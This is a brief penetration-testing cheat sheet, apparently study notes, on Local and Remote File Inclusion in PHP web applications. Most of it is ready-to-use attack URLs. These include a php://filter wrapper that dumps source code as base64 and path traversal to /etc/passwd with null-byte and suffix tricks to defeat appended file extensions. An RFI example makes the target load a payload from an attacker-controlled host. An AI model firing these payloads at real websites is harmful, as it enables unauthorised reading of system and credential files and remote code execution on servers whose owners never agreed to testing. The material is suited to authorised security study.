LFI and RFI

LFI

Bypassing php-execution

http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index

Bypassing the added .php and other extra file-endings

http://example.com/page=../../../../../../etc/passwd%00         
http://example.com/page=../../../../../../etc/passwd?

Folder that always exist

/etc/hosts 
/etc/resolv.conf     

add %00jpg to end of files

/etc/passwd%00jpg     

Refer this for more information

• https://sushant747.gitbooks.io/total-oscp-guide/local_file_inclusion.html

• https://highon.coffee/blog/lfi-cheat-sheet/

RFI

Example:

http://exampe.com/index.php?page=http://attackerserver.com/evil.txt